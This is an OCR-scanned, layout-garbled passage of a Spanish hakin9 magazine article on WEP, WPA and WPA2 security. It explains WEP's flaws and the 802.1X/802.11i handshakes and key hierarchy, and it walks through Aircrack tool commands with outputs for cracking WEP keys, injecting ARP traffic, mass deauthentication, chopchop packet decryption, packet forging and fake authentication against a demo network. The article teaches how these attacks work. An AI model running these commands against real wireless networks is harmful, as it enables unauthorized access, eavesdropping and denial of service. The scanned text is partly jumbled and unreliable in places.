Keystream = RC4 (IV,k) ICV(M) |

XOR

ICV(M) |

<
<

\/

CIFRADO

C=[M][lICV(M)] +[RC4(K][IV)]

Figura 1. Protocolo de encriptacion WEP

a su linealidad, algo que Nikita Bori-
sov, lan Goldberg y David Wagner ya
habian advertido en 2001.

Desde entonces, se ha acepta-
do que WEP proporciona un nivel
de seguridad aceptable solo para
usuarios domésticos y aplicaciones
no criticas. Sin embargo, incluso
eso se desvanecié con la apari-
cion de los ataques KoreK en 2004
(ataques generalizados FMS, que
incluian optimizaciones de h1ikari),
y el ataque inductivo invertido Ar-
baugh, permitiendo que paquetes
arbitrarios fueran desencriptados
sin necesidad de conocer la clave
utilizando la inyeccién de paquetes.

Las herramientas de cracking, co-
mo Aircrack de Christophe Devine o
WepLab de José Ignacio Sanchez,
ponen en practica estos ataques y
pueden extraer una clave WEP de
128-bits en menos de 10 minutos (o
algo mas, dependiendo del punto
de acceso vy la tarjeta wireless es-
pecificos).

La incorporacion de la inyeccion
de paquetes mejord sustancialmen-
te los tiempos de crackeo de WEP,
requiriendo tan soélo miles, en lugar
de millones, de paquetes con sufi-
cientes IVs Unicos — alrededor de
150,000 para una clave WEP de
64-bits y 500,000 para una clave de

Tabla 1. Cronologia de la muerte de WEP

Septiembre Vulnerabilidad RC4 potencial (Wagner)

Primera publicacion sobre las debilidades de WEP: Insegura

1995

Octubre

2000 para cualquier tamano de clave; Analisis de la encapsula-
cion WEP (Walker)

Mayo 2001 Ataque contra WEP/WEP2 de Arbaugh

Julio 2001  Ataque CRC bit flipping — Intercepting Mobile Communica-
tions: The Insecurity of 802.11 (Borisov, Goldberg, Wagner)

Agosto Ataques FMS — Debilidades en el algoritmo de programa-

2001 cion de RC4 (Fluhrer, Mantin, Shamir)

Agosto Publicacion de AirSnort

2001

Febrero Ataques FMS optimizados por h1kari

2002

Agosto Ataques KoreK (IVs unicos) — publicacion de chopchop y

2004 chopper

Julio/ Publicacion de Aircrack (Devine) y WepLab (Sanchez),

Agosto poniendo en practica los ataques KoreK.

2004

www.hakin9.org
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Tema caliente

-
Listado 1. Activando el modo monitor ARP-Request
# airmon.sh start ath0 El protocolo Address Resolution Pro-
Interface Chipset Driver tocol (ARP — RFC826) es usado para
ath0 Atheros madwifi (monitor mode enabled) traducir una direccion IP de 32-bits a
una direcciéon Ethernet de 48-bits (las
redes Wi-Fi también utilizan el protoco-
lo ethernet). Para ilustrarlo, cuando un
Listado 2. Descubriendo las redes cercanas y sus clientes host A (192.168.1.1) quiere comunicar-
se con un host B (192.168.1.2), la direc-
# airodump ath0 wep-crk 0 cion IP conocida debe ser traducida a
una direccion MAC utilizando el proto-
BSSID PWR Beacons # Data CH MB ENC ESS.T.D colo ARP. Para hacerlo, el host A envia
00:13:10:1F:9A:72 62 305 16 1 48 WEP hakin9demo . .
un mensaje broadcast conteniendo la
257D STATTON PWR Packets ESSID direccion IP del host B (;Quién tiene
00:13:10:1F:9A:72 00:0C:F1:19:77:5C 56 1 hakin9demo 192.168.1.27 Decirselo a 192.168.1.1).
El host objetivo, reconociendo que la
direccion IP en los paquetes coincide
con la suya propia, devuelve una res-
128-bits. Con la inyeccion de paque- « airodump: herramienta de sni- puesta (192.168.1.2 esta en 01:23:45:
tes, el obtener los datos necesarios ffing utilizada para descubrir las 67:89:0A). La respuesta es tipicamente
era apenas una tarea de minutos. redes que tienen activado WEP, almacenada en la cache.
En la actualidad, WEP esta defini- + aireplay: herramienta de inyec- -

tivamente muerto (ver Tabla 1) y no
deberia ser utilizado, ni siquiera con
rotacion de claves.

Los fallos de seguridad de WEP
pueden resumirse tal y como sigue:

* debilidades del algoritmo RC4
dentro del protocolo WEP debido
a la construccion de la clave,

* los IVs son demasiado cortos (24
bits — hacen falta menos de 5000
paquetes para tener un 50% de
posibilidades de dar con la clave)
y se permite la reutilizacién de
IV (no hay proteccion contra la
repeticion de mensajes),

* no existe una comprobacion de
integridad apropiada (se utiliza
CRC32 para la deteccion de
errores y no es criptograficamen-
te seguro por su linealidad),

* no existe un método integrado de
actualizacion de las claves.

Crackeado de la clave WEP
utilizando Aircrack

El crackeado de WEP puede ser
demostrado con facilidad utilizando
herramientas como Aircrack (creado
por el investigador francés en temas
de seguridad, Christophe Devine).
Aircrack contiene tres utilidades
principales, usadas en las tres fases
del ataque necesario para recuperar
la clave:
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cion para incrementar el trafico,

» aircrack: crackeador de claves
WEP que utiliza los Vs unicos
recogidos.

En la actualidad, Aireplay so6lo so-
porta la inyeccion en algunos chip-
sets wireless, y el soporte para la
inyeccién en modo monitor requiere
los ultimos drivers parcheados. El
modo monitor es el equivalente
del modo promiscuo en las redes
de cable, que previene el rechazo
de paquetes no destinados al host
de monitorizacion (lo que se hace
normalmente en la capa fisica del
stack OSI), permitiendo que todos
los paquetes sean capturados. Con
los drivers parcheados, soélo se
necesita una tarjeta wireless para
capturar e inyectar trafico simulta-
neamente.

La meta principal del ataque es
generar trafico para capturar IVs
unicos utilizados entre un cliente le-
gitimo y el punto de acceso. Algunos
datos encriptados son facilmente re-
conocibles porque tienen una longi-
tud fija, una direccion de destino fija,
etc. Esto sucede con los paquetes
de peticion ARP (véase Recuadro
ARP-Request), que son enviadas
a la direccion broadcast (FF:FF:FF:
FF:FF:FF) y tienen una longitud fija
de 68 octetos. Las peticiones ARP

www.hakin9.org

pueden ser repetidas para generar
nuevas respuestas ARP desde un
host legitimo, haciendo que los men-
sajes wireless sean encriptados con
nuevos IVs.

En los siguientes ejemplos, 00:
13:10:1F:9A:72 es la direccién MAC
del punto de acceso (BSSID) en el
canal 1 con ESSID hakin9demo y
00:09:5B:EB:C5:2B es la direccion
MAC de un cliente wireless (utili-
zando WEP o WPA-PSK, depen-
diendo del caso). La mayor parte de
los comandos requieren privilegios
de root.

El primer paso, es la activacion
del modo monitor en nuestra tarjeta
wireless (en este caso, un modelo
basado en Atheros), asi que po-
demos capturar todo el trafico (ver
Listado 1). El paso siguiente, sera
descubrir redes cercanas y sus
clientes, escaneando los 14 cana-
les que utilizan las redes Wi-Fi (ver
Listado 2).

El resultado del Listado 2 se
puede interpretar de esta forma: un
punto de acceso con BSSID 00:13:
10:1F:9A:72 estd usando encripta-
cion WEP en el canal 1 con SSID
hakin9demo y un cliente identificado
con MAC 00:0C:F1:19:77:5C estan
asociados y autenticados en esta
red wireless.




Seguridad de WEP, WPA y WPA2

Una vez se haya localizado la
red objetivo, deberiamos empezar
a capturar en el canal correcto para
evitar la pérdida de paquetes mien-
tras escaneamos otros canales. Esto
produce la misma respuesta que el
comando previo:

# airodump ath0 wep-crk 1

Después, podremos usar la informa-
cion recogida para inyectar trafico
utilizando aireplay. La inyeccion
empezara cuando una peticion ARP
capturada, asociada con el BSSID
objetivo aparezca en la red inalam-
brica:

B

aireplay -3 \

-b 00:13:10:1F:9A:72 \
-h 00:0C:F1:19:77:5C \
-x 600 athO

(...)

Read 980 packets

(got 16 ARP requests),

sent 570 packets...

Finalmente, aircrack se utiliza para
recuperar la clave WEP. Utilizando el
fichero pcap se hace posible lanzar
este paso final mientras airodump si-
gue capturando datos (véase Figura 2
para los resultados):

# aircrack -x -0 wep-crk.cap

Otros tipos de ataque

Aircrack

Aircrack hace también posible rea-
lizar otros tipos interesantes de ata-
ques. Veamos algunos de ellos.

Ataque 2: Deautenticacion
Este ataque puede ser usado pa-
ra recuperar un SSID oculto (por
ejemplo, uno que no sea broadcast),
capturar un WPA 4-way handshake
o forzar una Denegacion del Servi-
cio (mas sobre ello después, en la
seccion sobre 802.11i). El objetivo
del ataque es forzar al cliente a
reautenticarse, lo que unido a la falta
de autenticacion para los marcos de
control (usados para autenticacion,
asociacion, etc.) hace posible que el
atacante consiga hacer spoof de las
direcciones MAC.

[00:00:09] Tested 2 keys {got 707852 IV¥s)

Figura 2. Resultados de Aircrack después de unos minutos

Un cliente wireless puede ser
deautenticado usando el siguiente
comando, que hace que se envien
paquetes de deautenticacion desde
el BSSID al cliente MAC haciendo
spoofing del BSSID:

# aireplay -0 5
-a 00:13:10:1F:9A:72
-c 00:0C:F1:19:77:5C
ath0

Se puede lograr una deautentica-
cion masiva, aunque no siempre
es fiable, haciendo que el atacante
esté haciendo spoofing constante
del BSSID y reenviando el paquete
de deautenticacion a la direccion
broadcast:

# aireplay -0 0
-a 00:13:10:1F:9A:72
ath0

Ataque 3: Desencriptacion

de paquetes de datos WEP
arbitrarios sin conocer la
clave

Este ataque esta basado en la
herramienta representativa de Ko-
reK, llamada chopchop, que puede
desencriptar paquetes encriptados
con WEP sin conocer la clave. El
chequeo de integridad implementa-
do en el protocolo WEP permite que
el atacante pueda modificar tanto un
paquete encriptado como su corres-
pondiente CRC. Mas aun, el uso del
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operador XOR en el protocolo WEP
significa que un byte seleccionado
en el mensaje encriptado siempre
depende del mismo byte en el pa-
quete plaintext. Cortando el ultimo
byte del mensaje encriptado lo co-
rrompe, pero también hace posible
intentar adivinar el valor del byte
plaintext correspondiente y corregir
el mensaje encriptado.

Si el paquete corregido es re-
inyectado a la red, sera desechado
por el punto de acceso si el intento
ha sido incorrecto (en cuyo caso
hay que hacer otro intento), pero si
el intento ha tenido éxito, se tomara
el paquete como de costumbre. Re-
petir el ataque para todos los bytes
del mensaje consigue que poda-
mos desencriptar un paquete WEP
y recuperar el flujo de clave. Recor-
demos que la implementacion IV no
es obligatoria en el protocolo WEP,
asi que es posible reutilizar este
flujo de datos para hacer spoof de
paquetes posteriores (reutilizando
el mismo V).

La tarjeta wireless debe estar
situada en modo monitor, en el
canal adecuado (véase el ejemplo
previo para una descripcion de
como hacerlo). El ataque debe ser
lanzado contra un cliente legitimo
(por ejemplo 00:0C:F1:19:77:5C en
nuestro caso) y aireplay pedira al
atacante que acepte los paquetes
encriptados (ver Listado 3). Se crean
dos ficheros pcap: uno para los pa-
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Tema caliente

Listado 3. Desencriptando paquetes WEP sin conocer la clave

# aireplay -4 -h 00:0C:F1:19:77:5C ath0
Read 413 packets...

Size: 124, FromDS: 0, ToDS: 1 (WEP

BSSID = 00:13:10:1F:9A:72
Dest. MAC = 00:13:10:1F:9A:70
Source MAC = 00:0C:F1:19:77:5C
0x0000: 0841 d500 0013 101f 9a72 000c £f119 775¢c .A....... r.o...w\
0x0010: 0013 101f 9a70 c040 c3ec el00 blel 062c ..... p.C....... p
0x0020: 5cf9 2783 0c89 68a0 23f5 0b47 Sabd 5b76 \.'...h.#..GZ.[v
0x0030: 0078 91c8 adfe bf30 d98c 1668 56bf 536c .x..... 0...hv.S1
0x0040: 7046 5fd2 d44b c6al a3e2 6ael 3477 74b4 pF ..K....Jj.dwt.
0x0050: fbl3 clad b8b8 e735 239a 55c2 ead9f 5S5be6 ....... 5#.0 [
0x0060: 862b 3ecl 5bla ala7 223b 0844 37dl e6el .+>.[...";.D7...
0x0070: 3b88 c5bl 0843 0289 1bff 5160 [ G O

Use this packet ? y
Saving chosen packet in replay src-0916-113713.cap

Offset 123 ( 0% done) | xor = 07 | pt = 67 | 373 frames written in 1120ms
Offset 122 ( 1% done) | xor = 7D | pt = 2C | 671 frames written in 2013ms
(...)

Offset 35 (97% done) | xor = 83 | pt = 00 | 691 frames written in 2072ms
Offset 34 (98% done) | xor = 2F | pt = 08 | 692 frames written in 2076ms

Saving plaintext in replay dec-0916-114019.cap
Saving keystream in replay dec-0916-114019.xor
Completed in 183s (0.47 bytes/s

Listado 4. Leyendo un fichero pcap del ataque

# tcpdump -s 0 -n -e -r replay dec-0916-114019.cap

reading from file replay dec-0916-114019.cap, link-type IEEE802 11 (802.11)
11:40:19.642112 BSSID:00:13:10:1f:9a:72

SA:00:0c:£1:19:77:5c DA:00:13:10:1f:9a:70

LLC, dsap SNAP (Oxaa), ssap SNAP (Oxaa), cmd 0x03: oui Ethernet (0x000000),
ethertype IPv4 (0x0800): 192.168.2.103 > 192.168.2.254:

ICMP echo request, id 23046, seq 1, length 64

.

Listado 5. Re-ejecucion de un paquete falso

# aireplay -2 -r forge-arp.cap ath0
Size: 68, FromDS: 0, ToDS: 1 (WEP)

BSSID = 00:13:10:1F:9A:72
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = (00:0C:F1:19:77:5C
0x0000: 0841 0201 0013 101f 9a72 000c £119 775¢c .A....... r.o.o..w\
0x0010: ffff ffff £fff 8001 c3ec el00 blel 062c ........vvnunn. ,
0x0020: 5cf9 2785 4988 60f4 25f1 4b46 lab0 199c \.'.I. .%.KF..
0x0030: Db78c 5307 6f2d bdce dl8c 8d33 ccll 510a S.0=. ... 3..0
0x0040: 49b7 52da I.R.

Use this packet ? y

Saving chosen packet in replay src-0916-124231.cap
You must also start airodump to capture replies.
Sent 1029 packets...

Listado 6. Autenticacion falsa

# aireplay -1 0 -e hakin9demo -a 00:13:10:1F:9A:72 -h 0:1:2:3:4:5 athO
18:30:00
18:30:00
18:30:00
18:30:00

Sending Authentication Request
Authentication successful
Sending Association Request
Association successful
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quetes desencriptados, y otro para
su flujo de datos correspondiente. El
archivo resultante puede ser legible
por humanos usando un lector apro-
piado (usaremos tcpdump) — véase
el Listado 4 para un ejemplo de ping
intercambiado entre hosts.

Una vez capturado el flujo de cla-
ve, es posible imitar cualquier paque-
te. Aqui tenemos una peticion ARP
enviada desde 192.168.2.123 (00:
0C:F1:19:77:5C) a 192.168.2.103:

=

arpforge \

replay dec-0916-114019.xo0r \
1\

00:13:10:1F:9A:72 \
00:0C:F1:19:77:5C \
192.168.2.123 \
192.168.2.103 \

forge-arp.cap

Finalmente aireplay se usa para
volver a ejecutar este paquete (ver
Listado 5).

Este método es menos auto-
matico que el propio ARP request
spoofing de Airckrack (la opcion -1),
pero es mas escalable — el atacante
puede usar el flujo descubierto para
imitar cualquier paquete que no sea
mas largo que el flujo de datos (si
no, el flujo de clave debe ser expan-
dido).

Ataque 4: Autenticacion falsa
El método de crackeado de la cla-
ve WEP descrito anteriormente
(Ataques 1 y 3) requiere un cliente
legitimo (real o virtual, aunque real
seria mejor), asociado con el punto
de acceso para asegurarse de que el
punto de acceso no rechace los pa-
quetes por una direccién de destino
no asociada.

Si se utiliza autenticaciéon abier-
ta, cualquier cliente podra ser au-
tenticado y asociado con el punto
de acceso, pero el punto de acceso
rechazara los paquetes no encripta-
dos con la clave WEP correcta. En
el ejemplo del Listado 6, se utiliza
Aireplay para imitar una peticion de
autenticacion y asociaciéon para el
SSID hakin9demo (BSSID: 00:13:
10:1F:9A:72) con la direccion MAC
falseada 0:1:2:3:4:5.




Seguridad de WEP, WPA y WPA2

IEEE 802.1X 'y EAP

El protocolo de autenticacion IEEE 802.1X (también conocido como Port-Based Net-
work Access Control) es un entorno desarrollado originalmente para redes de cable, y
posee mecanismos de autenticacion, autorizacion y distribucion de claves y ademas
incorpora controles de acceso para los usuarios que se unan a la red. La arquitectura
IEEE 802.1X esta compuesta por tres entidades funcionales:

* el suplicante que se une a la red,
» el autenticador que hace el control de acceso,
» el servidor de autenticacion que toma las decisiones de autorizacion.

En las redes inalambricas, el punto de acceso sirve de autenticador. Cada puerto fisico
(puerto virtual en las redes inalambricas) se divide en dos puertos logicos, formando
la PAE (Port Access Entity). La PAE de autenticacion esta siempre abierta y permite el
paso de procesos de autenticacion, mientras que el PAE de servicio sélo se abre tras
una autenticacion exitosa (por ejemplo, una autorizacion) por un tiempo limitado (3600
segundos por defecto). La decisién de permitir acceso esta hecha por lo general por la
tercera entidad, el servidor de autenticacion (que puede ser un servidor Radius dedi-
cado o — por ejemplo en las redes domésticas — un simple proceso funcionando en el
punto de acceso). La Figura 3 ilustra el modo de comunicacién entre estas entidades.

El estandar 802.11i hace pequefias modificaciones a IEEE 802.1X para que las
redes inalambricas estén protegidas frente al robo de identidades. La autenticacién
de mensajes se ha incorporado para asegurarse de que tanto el suplicante como el
autenticador calculan sus claves secretas y activan la encriptacion antes de acceder
alared.

El suplicante y el autenticador se comunican mediante un protocolo basado en
EAP. El rol del autenticador es, esencialmente, pasivo — se limita a enviar todos los
mensajes al servidor de autenticacion. EAP es un entorno para el transporte de varios
métodos de autenticacién y permite sélo un nimero limitado de mensajes (Request,
Response, Success, Failure), mientras que otros mensajes intermedios son depen-
dientes del método seleccionado de autenticacion: EAP-TLS, EAP-TTLS, PEAP,
Kerberos V5, EAP-SIM etc. Cuando se completa el proceso (por la multitud de méto-
dos posibles no entraremos en detalles), ambas entidades (suplicante y servidor de
autenticacion) tendran una clave maestra secreta. El protocolo utilizado en las redes
inalambricas para transportar EAP se llama EAPOL (EAP Over LAN), las comunica-
ciones entre autenticador y servidor de autenticacion utilizan protocolos de capa mas
alta, como Radius, etc.

J

Algunos puntos de acceso re-
quieren que los clientes se vuelvan

a asociar cada 30 segundos. Este  segunda opcion (o) por 3o0.

I Sistema Sistema Autenticador i ! Servidor de Sistema
I Suplicante 1 : Autenticador
: Servicios ofrecidos I
por Sistema [ | Servidor de
| PAE Suplicante Autenticador PAE Autenticador Autenticacion

A

A

A

< Puerto No
Autorizado

llevados en protocolo
de nivel superior

( ) LAN

Figura 3. Modelo de IEEE 802.1X segtn la especificacion IEEE 802.1X
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comportamiento puede ser mini-
mizado en aireplay sustituyendo la

o
!

Intercambios de Protocolo

802.11i

En enero de 2001, el grupo de
trabajo i task group fue creado en
IEEE para mejorar la seguridad en
la autenticacién y la encriptacion
de datos. En abril de 2003, la Wi-Fi
Alliance (una asociacién que pro-
mueve y certifica Wi-Fi) realizé una
recomendacion para responder a
las preocupaciones empresariales
ante la seguridad inaldmbrica. Sin
embargo, eran conscientes de que
los clientes no querrian cambiar sus
equipos.

En junio de 2004, la edicién final
del estandar 802.11i fue adoptada y
recibio el nombre comercial WPA2
por parte de la alianza Wi-Fi. El es-
tandar IEEE 802.11i introdujo varios
cambios fundamentales, como la
separacion de la autenticacion de
usuario de la integridad y privacidad
de los mensajes, proporcionando
una arquitectura robusta y escala-
ble, que sirve igualmente para las
redes locales domésticas como para
los grandes entornos de red corpo-
rativos. La nueva arquitectura para
las redes wireless se llama Robust
Security Network (RSN) vy utiliza
autenticacion 802.1X, distribucion de
claves robustas y nuevos mecanis-
mos de integridad y privacidad.

Ademas de tener una arquitectu-
ra mas compleja, RSN proporciona
soluciones seguras y escalables
para la comunicacion inalambrica.
Una RSN soélo aceptara maquinas
con capacidades RSN, pero IEEE
802.11i también define una red tran-
sicional de seguridad — Transitional
Security Network (TSN), arquitectu-
ra en la que pueden participar siste-
mas RSN y WEP, permitiendo a los
usuarios actualizar su equipo en el
futuro. Si el proceso de autenticacion
0 asociacion entre estaciones utiliza
4-Way handshake, la asociacion
recibe el nombre de RSNA (Robust
Security Network Association).

El establecimiento de un contex-
to seguro de comunicacion consta
de cuatro fases (ver Figura 4):

» acuerdo sobre la politica de se-

guridad,
« autenticacion 802.1X,
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®

Acuerdo de
Politica de Seguridad

A

Autenticacion 802.1x

La Figura 5 ilustra esta primera
fase.

Fase 2: autenticacién 802.1X

La segunda fase es la autentica-
cion 802.1X basada en EAP y en el
meétodo especifico de autenticacion
decidido: EAP/TLS con certificados
de cliente y servidor (requiriendo
una infraestructura de claves publi-

A

Derivacion y Distribucion

\/

cas), EAP/TTLS o PEAP para au-

o tenticacion hibrida (con certificados
Distribucion MK

A

de Clave

Confidencialidad
e Integridad de datos RSNA

< »
< >

Figura 4. Fases operacionales de 802.11i

» derivacion y distribucion de las rios
claves,

» confidencialidad e integridad de
los datos RSNA.

Fase 1: Acuerdo sobre la

cambiar de punto de acceso en
la misma red para un funciona-
miento sin retrasos.

\/

s6lo requeridos para servidores),
etc. La autenticacion 802.1X se
inicia cuando el punto de acceso
pide datos de identidad del cliente,
y la respuesta del cliente incluye el
meétodo de autenticacion preferido.
Se intercambian entonces mensa-
jes apropiados entre el cliente y
el servidor de autenticacién para
generar una clave maestra comun

por RADIUS

pre-autenticarse antes de

politica de seguridad
La primera fase requiere que los par-

ticipantes estén de acuerdo sobre la
politica de seguridad a utilizar. Las

Peticion Sonda

politicas de seguridad soportadas

Y

Respuesta Sonda + RSN IE

A

por el punto de acceso son mostra-
das en un mensaje Beacon o Probe

CCMP Mcast, CCMP Ucast, 802.1x auth
802.11 Autenticacion de Sistema Abierta

Response (después de un Probe

\/

802.11 Autenticacion de Sistema Abierta — Exito

A

Request del cliente). Sigue a esto

Peticion de Asociacién + RSN IE

\ 4

una autenticacion abierta estandar
(igual que en las redes TSN, donde

STA request CCMP Mcast, CCMP Ucast, 802.1x auth

Respuesta de Asociacion — Exito

la autenticacion siempre tiene éxito). ~
La respuesta del cliente se incluye
en el mensaje de Association Re-
quest validado por una Association
Response del punto de acceso. La
informacion sobre la politica de se-
guridad se envia en el campo RSN
|IE (Information Element) y detalla:

* los métodos de autenticacion

__ 802.1X/EAP — Peticion de Identidad

Figura 5. Fase 1: Acuerdo sobre la politica de seguridad

<—| 802.1X ] <—| RADIUS

soportados (802.1X, Pre-Shared

802.1X/EAP — Respuesta de Identidad

Key (PSK)),
» protocolos de seguridad para el
trafico unicast (CCMP, TKIP etc.)

<<
<

Acceso RADIUS
Peticién de Identidad

\

Mensajes EAP especificos del método elegido

— la suit criptografica basada en
pares,

« protocolos de seguridad para el
trafico multicast (CCMP, TKIP
etc.) — suit criptografica de gru-

Aceptacion RADIUS

(Distribucién MK — Ver Fase 3)

Exito 802.1X/EAP

A

po,
» soporte para la pre-autentica-
cién, que permite a los usua-

Figura 6. Fase 2: autenticacion 802.1X
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Seguridad de WEP, WPA y WPA2

(MK). Al final del proceso, se envia
desde el servidor de autenticacion
al punto de acceso un mensaje Ra-
dius Accept, que contiene la MKy
un mensaje final EAP Success para
el cliente. La Figura 6 ilustra esta
segunda fase.

Fase 3: jerarquiay
distribucién de claves

La seguridad de la conexion se
basa en gran medida en las claves
secretas. En RSN, cada clave tiene
una vida determinada y la seguri-
dad global se garantiza utilizando
un conjunto de varias claves organi-
zadas segun una jerarquia. Cuando
se establece un contexto de seguri-
dad tras la autenticacion exitosa, se
crean claves temporales de sesion
y se actualizan regularmente hasta
que se cierra el contexto de seguri-
dad. La generacion y el intercambio
de claves es la meta de la tercera
fase. Durante la derivacién de la
clave, se producen dos handshakes
(véase Figura 7):

* 4-Way Handshake para la de-
rivacion de la PTK (Pairwise
Transient Key) y GTK (Group
Transient Key),

* Group Key Handshake para la
renovacion de GTK.

La derivacion de la clave PMK
(Pairwise Master Key) depende del
método de autenticacion:

» si se usa una PSK (Pre-Shared
Key), PMK = PSK. La PSK es
generada desde una passphra-
se (de 8 a 63 caracteres) o una
cadena de 256-bit y proporciona
una solucion para redes domés-
ticas o pequefias empresas que
no tienen servidor de autentica-
cion,

* si se usa un servidor de autenti-
cacion, la PMK es derivada de la
MK de autenticacion 802.1X.

La PMK en si misma no se usa
nunca para la encriptacion o la com-
probacion de integridad. Al contrario,
se usa para generar una clave de
encriptacion temporal — para el tra-

Paso 2 : 4-Way Handshake
derivacion y distribucion de PTKy GTK

<—{ 802.1X é(— RADIUS I

_ Paso 1 : Transmisién MK de AS a AP

A

Paso 3 : Group Key Handshake
derivacion y distribucion de GTK
(para renovacion GTK)

\

A

\

Figura 7. Fase 3: derivacion y distribucion de claves

Bits 0-127
KCK

Bits 128-255
KEK

fico unicast esta es la PTK (Pairwise
Transient Key). La longitud de la
PTK depende el protocolo de encrip-
tacion: 512 bits para TKIP y 384 bits
para CCMP. La PTK consiste en va-
rias claves temporales dedicadas:

*  KCK (Key Confirmation Key — 128
bits): Clave para la autenticacion
de mensajes (MIC) durante el 4-
Way Handshake y el Group Key
Handshake,

*  KEK (Key Encryption Key — 128
bits): Clave para asegurar la con-
fidencialidad de los datos durante
el 4-Way Handshake y el Group
Key Handshake,

* TK (Temporary Key — 128 bits):
Clave para encriptacién de datos
(usada por TKIP o CCMP),

www.hakin9.org

Bits 256-383
TEK (=TK)

PRF usando HMAC-SHA1
X =512 (TKIP)
X =384 (CCMP)

Bits 384-447

TMKA1 TMK2

Figura 8. Fase 3: jerarquia de clave por parejas

*  TMK (Temporary MIC Key — 2x64
bits): Clave para la autenticacion
de datos (usada sélo por Michael
con TKIP). Se usa una clave
dedicada para cada lado de la
comunicacion.

Esta jerarquia se resume en la Fi-
gura 8.

El 4-Way Handshake, iniciado por
el punto de acceso, hace posible:

» confirmar que el cliente conoce la
PMK,

e derivar una PTK nueva,

» instalar claves de encriptacion e
integridad,

» encriptar el transporte de la GTK,

» confirmar la seleccion de la suite
de cifrado.
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| SNonce aleatorio |

| EAPolL-Key

=
= ..

| ANonce Aleatorio |

La estacion deriva
la PTK

EAPoL-Key

~ ANonce + AP RSN IE

Autenticacién de mensaje
usando la KCK

_ EAPoL-Key

SNonce + MIC + STARSN IE

EI AP deriva la PTK,
inicializa la GMK
y calcula la GTK

Sincronizacion
entre entidades
antes de la encriptacion

[~ MIC + GTK encriptada + AP RSN IE

EAPoL-Key ACK

GTK encriptada
usando la KEK

MIC

Ve
O
g Instalacién

»802.1X puerto controlado abierto

Instalacion

PTKy GTK

PTK y GTK

PTK = PRF-X(PMK, « Pairwise key expansion »,

Min (AP_Mac, STA Mac)
Min (ANonce, SNonce)

Figura 9. Fase 3: 4-Way Handshake

Bits 0-127
GEK

|| Max (AP_Mac,
| | Max (ANonce, SNonce))

STA Mac) ||

PRF usando HMAC-SHA1

GIK TKIP

Figura 10. Fase 3: jerarquia de Group Key

Se intercambian cuatro mensajes
EAPOL-Key entre el cliente y el
punto de acceso durante el 4-Way
Handshake. Esto se muestra en la
Figura 9.

La PTK se deriva de la PMK,
una cadena fija, la direccion MAC
del punto de acceso, la direccion
MAC del cliente y dos numeros
aleatorios (ANonce y SNonce, ge-

nerados por el autenticador y el su-
plicante, respectivamente). El punto
de acceso inicia el primer mensaje
seleccionando el numero aleatorio
ANonce y enviandoselo al suplican-
te, sin encriptar el mensaje o prote-
gerlo de las trampas. El suplicante
genera su propio numero aleatorio
SNonce y ahora puede calcular la
PTK y las claves temporales deri-

vadas, asi que envia el SNonce y
la clave MIC calculada del segun-
do mensaje usando la clave KCK.
Cuando el autenticador recibe el
segundo mensaje, puede extraer el
SNonce (porque el mensaje no esta
encriptado) y calcular la PTK y las
claves temporales derivadas. Ahora
puede verificar el valor de MIC en el
segundo mensaje y estar seguro de
que el suplicante conoce la PMK 'y
ha calculado correctamente la PTK
y las claves temporales derivadas.

El tercer mensaje enviado por el
autenticador al suplicante contiene
el GTK (encriptada con la clave
KEK), derivada de un GMK aleato-
rio y GNonce (ver Figura 10), junto
con el MIC calculado del tercer
mensaje utilizando la clave KCK.
Cuando el suplicante recibe este
mensaje, el MIC se comprueba
para asegurar que el autenticador
conoce el PMK y ha calculado
correctamente la PTK y derivado
claves temporales.

El ultimo mensaje certifica la
finalizacién del handshake e indica
que el suplicante ahora instalara
la clave y empezara la encripta-
cion. Al recibirlo, el autenticador
instala sus claves tras verificar el
valor MIC. Asi, el sistema movil y
el punto de acceso han obtenido,
calculado e instalado unas claves
de integridad y encriptacién y ahora
pueden comunicarse a través de un
canal seguro para trafico unicast y
multicast.

El trafico multicast se protege
con otra clave: GTK (Group Tran-
sient Key), generada de una clave
maestra llamada GMK (Group
Master Key), una cadena fija, la
direcciéon MAC del punto de acceso
y un numero aleatorio GNonce. La
longitud de GTK depende del proto-
colo de encriptacion — 256 bits para
TKIP y128 bits para CCMP. GTK se
divide en claves temporales dedi-
cadas:

« GEK (Group Encryption Key):
Clave para encriptacién de datos
(usada por CCMP para la auten-
ticacion y para la encriptacion,
y por TKIP),
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*  GIK (Group Integrity Key): Clave
para la autenticacion de datos
(usada solamente por Michael
con TKIP).

Esta jerarquia se resume en la Fi-
gura 10.

Se intercambian dos mensajes
EAPOL-Key entre el cliente y el pun-
to de acceso durante el Group Key
Handshake. Este handshake hace
uso de claves temporales generadas
durante el 4-Way Handshake (KCK
y KEK). El proceso se muestra en la
Figura 11.

El Group Key Handshake sélo
se requiere para la disasociacion de
una estacion o para renovar la GTK,
a peticion del cliente. El autenticador
inicia el primer mensaje escogiendo
el numero aleatorio GNonce y calcu-
lando una nueva GTK. Envia la GTK
encriptada (usando KEK), el numero
de secuencia de la GTK y el MIC
calculado de este mensaje usando
KCK al suplicante. Cuando el men-
saje es recibido por el suplicante, se
verifica el MIC y la GTK puede ser
desencriptada.

El segundo mensaje certifi-
ca la finalizacion del Group Key
Handshake enviando el numero de
secuencia de GTK y el MIC calcu-
lado en este segundo mensaje. Al
ser recibido este, el autenticador
instala la nueva GTK (tras verificar
el valor MIC).

También existe un STAkey
Handshake, pero no lo vamos a
tratar aqui. Soporta la generacién
de una clave, llamada STAkey, por
el punto de acceso para conexiones
ad-hoc.

Fase 4: Confidencialidad

e integridad de datos RSNA
Todas las claves generadas ante-
riormente se usan en protocolos
que soportan la confidencialidad e
integridad de datos RSNA:

* TKIP (Temporal Key Hash),

« CCMP (Counter-Mode / Cipher
Block Chaining Message Au-
thentication Code Protocol),

*  WRAP (Wireless Robust Authen-
ticated Protocol).

Q=

PTK

GTK encriptada

| EAPoL-Key (MIC, GTK, Grupo)

GMK + Gnonce

usando la KEK ™~

Decriptacion de GTK

EAPoL-Key(Grupo, MIC)

+ Célculo GTK
™\
&=—| 0
PTKy J
GTK

Autenticacién de Mensaje

R,
PTKy
GTK

usando la KCK

GTK = PRF-256 (GMK, Group Key Expansion,

AP Mac || GNonce))

Figura 11. Fase 3: Group Key Handshake

Hay un concepto importante que
debe ser entendido antes de detallar
estos protocolos: la diferencia entre
MSDU (MAC Service Data Unit) y
MPDU (MAC Protocol Data Unit).
Ambos términos se refieren a un
s6lo paquete de datos, pero MSDU
representa a los datos antes de la
fragmentacion, mientras las MPDUs
son multiples unidades de datos tras
la fragmentacion. La diferencia es
importante en TKIP y en el proto-
colo de encriptacion CCMP, ya que
en TKIP el MIC se calcula desde la
MSDU, mientras que en CCMP se
